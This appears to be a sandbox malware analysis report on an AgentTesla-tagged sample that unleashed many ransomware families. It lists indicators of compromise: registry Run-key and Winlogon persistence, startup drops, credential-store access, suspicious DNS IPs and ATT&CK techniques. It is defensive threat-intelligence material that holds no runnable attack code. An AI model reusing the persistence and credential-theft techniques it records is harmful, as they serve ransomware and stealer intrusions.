agenttesla | 46556d30b37cd555be08b1de8e585f8f8d86322efeb1e2ed14d88a905b04d73b

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "Explorer.exe HelpMe.exe"	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Sodinokibi family
sodinokibi

Sodinokibi/Revil sample 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000023c5b-218.dat	family_sodinokobi
behavioral1/files/0x0008000000023c5d-318.dat	family_sodinokobi

Troldesh family
troldesh
Troldesh, Shade, Encoder.858
Troldesh is a ransomware spread by malspam.
ransomware trojan troldesh

AgentTesla payload 2 IoCs

resource	yara_rule
behavioral1/memory/8168-1617-0x0000000000400000-0x000000000045A000-memory.dmp	family_agenttesla
behavioral1/memory/4876-55167-0x0000000000400000-0x000000000044C000-memory.dmp	family_agenttesla

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (190) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Renames multiple (513) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Downloads MZ/PE file

ASPack v2.12-2.42 2 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x0008000000023c2a-166.dat	aspack_v212_v242
behavioral1/files/0x0007000000023cb7-296.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	y_installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	HEUR-Trojan-Ransom.MSIL.Gen.gen-61a9ddcb15f0845bd89f2c4ca454e7d8f0a0b7a478ec2d980ae4fa333c1b4dd2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	Trojan-Ransom.Win32.Foreign.ojib-e8019df6572b12d099ac33d3c02e7cbd02971e55700430f5bbcd7855c4ff6ce0.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 17 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe	Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\trojan-ransom.win32.rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe.id-67666807.[[email protected]].bot	taskmgr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\info.hta	taskmgr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Soft.lnk	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Soft.lnk	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Soft.lnk.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Soft.lnk.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Soft.lnk	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\soft.lnk.id-67666807.[[email protected]].bot	taskmgr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe

Executes dropped EXE 43 IoCs

pid	Process
4972	HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe
4552	HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe
3020	HEUR-Trojan-Ransom.MSIL.Gen.gen-61a9ddcb15f0845bd89f2c4ca454e7d8f0a0b7a478ec2d980ae4fa333c1b4dd2.exe
4012	HEUR-Trojan-Ransom.Win32.Agent.gen-e8afae434aa9c3a3c848aa1f0809ebbddb6c88d45f39ba4306bbdefac4e59207.exe
3968	HEUR-Trojan-Ransom.Win32.Blocker.gen-3378c59eba9f93c3b7dcb589c53f63fcf7e0baba98aadbff3b994653e9dc44df.exe
2960	HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-ee0a206415cce60f8b3afb29d8c17f86fe1923cbdf69812be139a3012b2fa24b.exe
2132	HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
556	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe
1504	HEUR-Trojan-Ransom.Win32.JSWorm.gen-cedf567ebc23b6090de2703911003e3bdbf2c13cc61b700240536715935e835c.exe
2476	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe
3632	drpbx.exe
1996	HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-ee0a206415cce60f8b3afb29d8c17f86fe1923cbdf69812be139a3012b2fa24b.exe
336	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
632	HEUR-Trojan-Ransom.Win32.Shade.vho-115591f33f7d53985f4d8f7a519906336c386eda4fae0486904e79e925550b66.exe
872	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
2344	Trojan-Ransom.Win32.Foreign.ojib-e8019df6572b12d099ac33d3c02e7cbd02971e55700430f5bbcd7855c4ff6ce0.exe
4744	Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe
2644	Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe
2084	Trojan-Ransom.Win32.Shade.pbq-0813dd814b07bb9acf1114bd8a5f4b4b624c667464bac48d91ebd9f9c8e640c7.exe
1020	Trojan-Ransom.Win32.Shade.pyr-03246cda354d8efbc9e22057cc283609825f15cf33ddc5296deac54c2b540218.exe
3436	Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe
2256	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
1256	Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
1568	Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
1684	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
1488	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
2960	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
412	adjustidebug.exe
3520	adjustidebug.exe
1532	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
452	UDS-Trojan-Ransom.Win32.GandCrypt.a-d804e2eb27a5de0f73cbd490ac49a7998cde6c0fca34c011a2cc8a4bbe242f1e.exe
6932	Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe
8880	y_installer.exe
1556	openvpnserv.exe
8584	y_installer.exe
7860	YandexPackSetup.exe
12812	Isass.exe
5884	HEUR-Trojan-Ransom.Win32.JSWorm.gen-cedf567ebc23b6090de2703911003e3bdbf2c13cc61b700240536715935e835c.exe
11684	Isass.exe
4404	lite_installer.exe
12412	seederexe.exe
8340	HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe
11604	sender.exe

Loads dropped DLL 18 IoCs

pid	Process
2132	HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
2132	HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
2132	HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
2132	HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
2132	HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
2132	HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
2132	HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
2132	HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
9416	MsiExec.exe
9416	MsiExec.exe
9416	MsiExec.exe
9416	MsiExec.exe
9416	MsiExec.exe
9416	MsiExec.exe
9416	MsiExec.exe
9416	MsiExec.exe
9416	MsiExec.exe
9416	MsiExec.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Unexpected DNS network traffic destination 11 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	185.141.152.26
Destination IP	185.141.152.26
Destination IP	1.2.4.8
Destination IP	185.141.152.26
Destination IP	114.114.114.114
Destination IP	114.114.114.114
Destination IP	1.2.4.8
Destination IP	185.141.152.26
Destination IP	1.2.4.8
Destination IP	185.141.152.26
Destination IP	114.114.114.114

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe = "C:\\Windows\\System32\\Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe"	Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe = "C:\\Windows\\System32\\Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe"	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\lNOWZyAWVv = "C:\\Users\\Admin\\Desktop\\00374\\Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe"	Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\C:\Windows\System32\Info.hta = "mshta.exe \"C:\\Windows\\System32\\Info.hta\""	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\bvappfvimom = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\batcxh.exe\""	Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Client Server Runtime Subsystem = "\"C:\\ProgramData\\Windows\\csrss.exe\""	Trojan-Ransom.Win32.Shade.pbq-0813dd814b07bb9acf1114bd8a5f4b4b624c667464bac48d91ebd9f9c8e640c7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OpenVPN GUI = "C:\\Users\\Admin\\AppData\\Roaming\\openvpnserv.exe"	Trojan-Ransom.Win32.Foreign.ojib-e8019df6572b12d099ac33d3c02e7cbd02971e55700430f5bbcd7855c4ff6ce0.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\sNpEShi30R = "C:\\Users\\Admin\\Desktop\\00374\\Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe"	Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\C:\Users\Admin\AppData\Roaming\Info.hta = "mshta.exe \"C:\\Users\\Admin\\AppData\\Roaming\\Info.hta\""	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\firefox.exe = "C:\\Users\\Admin\\AppData\\Roaming\\Frfx\\firefox.exe"	HEUR-Trojan-Ransom.MSIL.Gen.gen-61a9ddcb15f0845bd89f2c4ca454e7d8f0a0b7a478ec2d980ae4fa333c1b4dd2.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 64 IoCs

description	ioc	Process
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn2\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\program files (x86)\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	\??\c:\users\admin\documents\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	\??\c:\users\admin\onedrive\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	\??\c:\users\admin\pictures\camera roll\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\admin\3d objects\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	\??\c:\users\admin\favorites\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\public\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	\??\c:\users\public\accountpictures\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\public\libraries\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	\??\c:\users\public\pictures\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\admin\saved games\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	\??\c:\users\public\videos\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\$RECYCLE.BIN\S-1-5-21-3756129449-3121373848-4276368241-1000\desktop.ini	HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-ee0a206415cce60f8b3afb29d8c17f86fe1923cbdf69812be139a3012b2fa24b.exe
File opened for modification	\??\c:\users\admin\downloads\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\History\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
